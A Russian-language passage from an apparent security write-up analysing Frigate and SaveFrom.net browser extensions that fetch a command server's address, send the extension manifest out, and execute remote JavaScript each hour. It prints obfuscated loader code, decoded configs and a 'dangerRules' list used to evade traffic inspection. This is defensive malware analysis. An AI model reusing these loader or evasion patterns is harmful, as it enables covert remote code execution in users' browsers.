\u042d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <a href=\"https:\/\/fri-gate.org\/config.txt\">fri-gate.org\/config.txt<\/a> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u0422\u0430\u043a\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0431\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0435\u0441\u043b\u0438 \u0441 \u043d\u0438\u043c \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a. \u0412 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u0448\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0431\u044b\u043b <a href=\"https:\/\/gatpsstat.com\/\">gatpsstat.com<\/a>.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u0442\u0432\u0435\u0442\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0<\/p>\n<p>  \u0420\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u0432:<br \/>  {<br \/>   \u00abattachStacktrace\u00bb: false,<br \/>   \u00abdelay\u00bb: 1000,<br \/>   \u00aburls\u00bb: [\u00ab<a href=\"https:\/\/gatpsstat.com\/ext\/stat\">gatpsstat.com\/ext\/stat<\/a>\u00bb],<br \/>   \u00abrelease\u00bb: 280,<br \/>   \u00absampleRate\u00bb: 15,<br \/>   \u00abenvironment\u00bb: \u00abprod\u00bb,<br \/>   \u00ablevel\u00bb: \u00abinfo\u00bb<br \/>  }  <\/div>\n<\/p><\/div>\n<p>  \u0420\u0430\u0437 \u0432 \u0447\u0430\u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \/ext\/stat. \u041f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0438\u043c \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f cookie, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 uuid \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041e\u0442\u0432\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e debug(), \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0441\u0443\u0442\u0438, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 eval() \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f JS-\u043a\u043e\u0434\u0430.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">const noop = () =&gt; { };     const safePromise = (fn) =&gt; (new Promise(fn)).catch(noop);     const checkError = () =&gt; runtime.lastError;     const tryCatch = (fn) =&gt; { try {         return fn();     }     catch (e) { } };     const wrap = (f, v) =&gt; tryCatch(() =&gt; f(v));     const debug = (v) =&gt; v &amp;&amp; safePromise(wrap(Promise[k], v));     const sleep = (ms) =&gt; new Promise((resolve) =&gt; setTimeout(resolve, ms));     const b64decode = (str) =&gt; decodeURIComponent(escape(atob(str)));     const b64encode = (str) =&gt; btoa(unescape(encodeURIComponent(str)));     const decode = (str) =&gt; tryCatch(() =&gt; b64decode(str)) || str;<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h3>SaveFrom.net<\/h3>\n<p>  (<i>\u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e <a href=\"https:\/\/yadi.sk\/d\/YZxCGZntvW2bzw\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a><\/i>)<\/p>\n<p>  \u041d\u0430 19122-\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0444\u0430\u0439\u043b\u0430 background.js \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u043b\u043e\u043a \u0441\u0431\u043e\u0440\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">background.js<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">var b, w = c.reload, _ = c.id, S = c.getBackgroundPage, k = c.sendMessage, x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114), O = function() {}, A = function(e) {                 var t = arguments.length &gt; 1 &amp;&amp; void 0 !== arguments[1] ? arguments[1] : O;                 try {                     return e()                 } catch (e) {                     return t()                 }             }, E = function(e) {                 return e &amp;&amp; (t = function(e, t) {                     return A((function() {                         return e(t)                     }                     ))                 }(n[x], e),                 new n(t).catch((function() {}                 )));                 var t             }, I = function(e) {                 return new n((function(t) {                     return a(t, e)                 }                 ))             }, R = function(e) {                 return A((function() {                     return atob(e.trim())                 }                 )) || e || &quot;&quot;             }, P = !1, j = !1, T = function() {<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u201c<i>x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)<\/i>\u201d, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430 \u201c<i>fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)<\/i>\u201d \u0438\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Frigate.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0438\u0434\u0451\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 switch, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u0435\u043d \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f JS-\u043a\u043e\u0434\u0430.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041a\u043e\u0434<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">switch (t.prev = t.next) {                             case 0:                                 if (t.prev = 0,                                 !P &amp;&amp; !j &amp;&amp; r.onLine) {                                     t.next = 3;                                     break                                 }                                 return t.abrupt(&quot;return&quot;);                             case 3:                                 if (P = !0,                                 &quot;GET&quot;,                                 n = &quot;POST&quot;,                                 b) {                                     t.next = 10;                                     break                                 }                                 return t.next = 9,                                 Object(u.a)({                                     url: e,                                     method: &quot;GET&quot;                                 }).then((function(e) {                                     var t = e.body;                                     return R(t)                                 }                                 )).then(v);                             case 9:                                 b = t.sent;                             case 10:                                 if (a = (o = b).urls,                                 s = void 0 === a ? [] : a,                                 f = o.delay,                                 d = void 0 === f ? 1e3 : f,                                 s.length) {                                     t.next = 13;                                     break                                 }                                 return t.abrupt(&quot;return&quot;);                             case 13:                                 return t.next = 15,                                 I(d);                             case 15:                                 if (g = l({                                     id: _                                 }, c.getManifest()),                                 w = s[h(p() * s.length)]) {                                     t.next = 19;                                     break                                 }                                 return t.abrupt(&quot;return&quot;);                             case 19:                                 return S = function(e) {                                     return btoa(encodeURIComponent(e).replace(\/%([0-9A-F]{2})\/g, (function(e, t) {                                         return m(parseInt(t, 16))                                     }                                     )))                                 }                                 ,                                 k = Object(u.a)({                                     method: n,                                     url: w,                                     data: S(y(g))                                 }).then((function(e) {                                     if (200 !== e.statusCode)                                         throw new Error;                                     return R(e.body)                                 }                                 )),                                 t.next = 23,                                 k;                             case 23:                                 return x = t.sent,                                 t.next = 26,                                 I(d);                             case 26:                                 E(x),                                 j = !0,                                 t.next = 32;                                 break;                             case 30:                                 t.prev = 30,                                 t.t0 = t.catch(0);                             case 32:                                 return t.prev = 32,                                 P = !1,                                 t.finish(32);                             case 35:                             case &quot;end&quot;:                                 return t.stop()                             }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041f\u043e \u0431\u043b\u043e\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<ul>\n<li>3-10: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 <a href=\"https:\/\/sf-helper.com\/static\/ffmpegSignature\">sf-helper.com\/static\/ffmpegSignature<\/a>. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u043e\u043f\u044f\u0442\u044c <a href=\"https:\/\/gatpsstat.com\/\">gatpsstat.com<\/a>. \u0412\u043e\u0442 \u044d\u0442\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435!<\/li>\n<li>15: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/li>\n<li>19: \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 \u0432 base64, \u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0445\u0435\u043d\u0434\u043b\u0435\u0440\u0430.<\/li>\n<li>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 R, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043d\u0438\u043c\u0430\u0435\u0442 base64.<\/li>\n<li>23: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 R \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 x.<\/li>\n<li>26: \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 E(x), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JS-\u043a\u043e\u0434.<\/li>\n<\/ul>\n<p>  <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0442\u0432\u0435\u0442 ffmpegSignature<\/b>                         <\/p>\n<div class=\"spoiler_text\">ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0<\/p>\n<p>  \u0420\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u0432:<br \/>  {<br \/>   \u00abattachStacktrace\u00bb: false,<br \/>   \u00abdelay\u00bb: 1000,<br \/>   \u00aburls\u00bb: [\u00ab<a href=\"https:\/\/gatpsstat.com\/ext\/stat\">gatpsstat.com\/ext\/stat<\/a>\u00bb],<br \/>   \u00abrelease\u00bb: 280,<br \/>   \u00absampleRate\u00bb: 15,<br \/>   \u00abenvironment\u00bb: \u00abprod\u00bb,<br \/>   \u00ablevel\u00bb: \u00abinfo\u00bb<br \/>  }  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>\u041e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439<\/h2>\n<p>  <\/p>\n<h3>\/ext\/stat<\/h3>\n<p>  \u0418\u0442\u0430\u043a, \u0432\u0441\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0438\u043c\u0435\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c JS-\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043d\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0440\u0430\u0437 \u0432 \u0447\u0430\u0441 \u0438\u0437 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \/ext\/stat. \u042d\u0442\u043e\u0442 JS-\u043a\u043e\u0434 \u0432 \u0440\u0430\u0437\u043d\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u044e\u0431\u044b\u043c, \u0441\u043a\u043e\u043b\u044c \u0443\u0433\u043e\u0434\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u043c. \u0421\u043a\u0440\u044b\u0442\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0438\u0434\u0435\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u043e\u0432. \u041d\u043e \u043f\u043e\u0439\u043c\u0430\u0442\u044c (\u0438 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c) \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u044b \u043d\u0435 \u0442\u0430\u043a-\u0442\u043e \u0438 \u043f\u0440\u043e\u0441\u0442\u043e. \u041f\u043e\u043d\u0430\u0447\u0430\u043b\u0443 \u043c\u044b \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0434\u0430\u043c\u043f\u0438\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u043b\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432. \u0414\u0430\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0441\u043e\u043c\u043d\u0435\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c. \u041e\u0431\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u043a \u0431\u043e\u043b\u0435\u0435 \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u043c\u0443, \u043d\u043e \u043d\u0430\u0434\u0451\u0436\u043d\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443: \u0437\u0430\u0432\u0435\u0440\u043d\u0443\u043b\u0438 \u0432\u0435\u0441\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0447\u0435\u0440\u0435\u0437 Burp Suite (\u044d\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0435\u0433\u043e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c). <\/p>\n<p>  \u0412\u0441\u043a\u043e\u0440\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043f\u0440\u0438\u043d\u0451\u0441 \u043f\u043b\u043e\u0434\u044b. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043d\u0430\u0448\u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0431\u044b\u043b\u0438 \u043d\u0435\u0443\u0441\u043f\u0435\u0448\u043d\u044b \u0438\u0437-\u0437\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0430 dangerRules. \u041e\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u043b\u0430\u0441\u044c. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0414\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 base64 \u0438\u0437 \/ext\/stat, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 dangerRules<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"xml\">{&quot;updateUri&quot;:&quot;\/ext\/up&quot;,&quot;dataUri&quot;:&quot;\/ext\/data&quot;,&quot;version&quot;:&quot;1961&quot;,&quot;hash&quot;:&quot;e3e03a744b6ff019c74ad9a714579ab3&quot;,&quot;timestampMS&quot;:1606678313570,&quot;clientId&quot;:&quot;4016cb52-df8b-485e-b0a3-49a003eef29b&quot;,&quot;endpoint&quot;:&quot;http:\/\/gatpsstat.com&quot;,&quot;ttlSec&quot;:3600,&quot;defs&quot;:[{&quot;id&quot;:1,&quot;type&quot;:&quot;core&quot;,&quot;options&quot;:{&quot;url&quot;:&quot;\/ext\/def&quot;}},{&quot;id&quot;:2,&quot;type&quot;:&quot;dt&quot;,&quot;options&quot;:[]},{&quot;id&quot;:3,&quot;type&quot;:&quot;bl&quot;,&quot;options&quot;:{&quot;rules&quot;:[&quot;^chrome:\/\/extensions&quot;],&quot;dangerRules&quot;:[&quot;^chrome:\/\/[^\/]*-internals&quot;,&quot;^chrome:\/\/net-&quot;,&quot;^chrome:\/\/network-&quot;,&quot;^chrome:\/\/tracing&quot;,&quot;^https?:\/\/installs.pro&quot;,&quot;^https?:\/\/admon.pro&quot;,&quot;^https?:\/\/log.admon.pro&quot;,&quot;^https?:\/\/installmonster.ru&quot;,&quot;^https?:\/\/browser.yandex.ru\/help\/support\/support.html&quot;,&quot;^https?:\/\/browser.yandex.ru\/feedback\/&quot;,&quot;^https?:\/\/savefrom.userecho.com\/communities\/1-savefromru\/topics&quot;,&quot;^https?:\/\/addons.opera.com\/en-gb\/extensions\/details\/savefromnet-helper\/&quot;,&quot;^https?:\/\/bugs.opera.com\/wizard\/&quot;,&quot;^https?:\/\/help.opera.com\/en\/computer-bug-wizard\/&quot;,&quot;^https?:\/\/chrome.google.com\/webstore\/detail\/frigate-light\/mdnmhbnbebabimcjggckeoibchhckemm&quot;]}}],&quot;sentry&quot;:{&quot;ignoreErrors&quot;:[&quot;Unexpected token G in JSON at position 0&quot;,&quot;Extension context invalidated&quot;],&quot;enabled&quot;:false,&quot;debug&quot;:false,&quot;release&quot;:&quot;1961&quot;,&quot;environment&quot;:&quot;stack&quot;}} <\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <b>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u043b\u0430\u0441\u044c, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0430\u0434\u0440\u0435\u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438\u043b\u0438 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430. \u0425\u0438\u0442\u0440\u043e!<\/b><\/p>\n<p>  \u0420\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u043e\u0441\u044c. \u041f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u043b\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \/ext\/up, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u043a\u043e\u043d\u0444\u0438\u0433. \u0415\u0433\u043e \u043e\u0442\u0432\u0435\u0442 \u0431\u044b\u043b \u0441\u0436\u0430\u0442 \u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d, \u0430 \u043a\u043e\u0434 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d. \u041d\u043e \u044d\u0442\u043e \u043d\u0430\u0441 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u043e. <\/p>\n<h3>\/ext\/up<\/h3>\n<p>  \u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u0415\u0433\u043e \u043e\u0442\u0432\u0435\u0442 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434 GIF-\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/j7\/vr\/uv\/j7vruv_r6lnxaqhacx1mswpgqrg.png\"><\/p>\n<p>  \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 JSON \u0441 \u0442\u0440\u0435\u043c\u044f \u043a\u0443\u0441\u043a\u0430\u043c\u0438 \u043a\u043e\u0434\u0430. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0431\u043b\u043e\u043a\u043e\u0432 \u043d\u0430\u043c\u0435\u043a\u0430\u044e\u0442 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430: bg.js (\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f), page.js (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0432 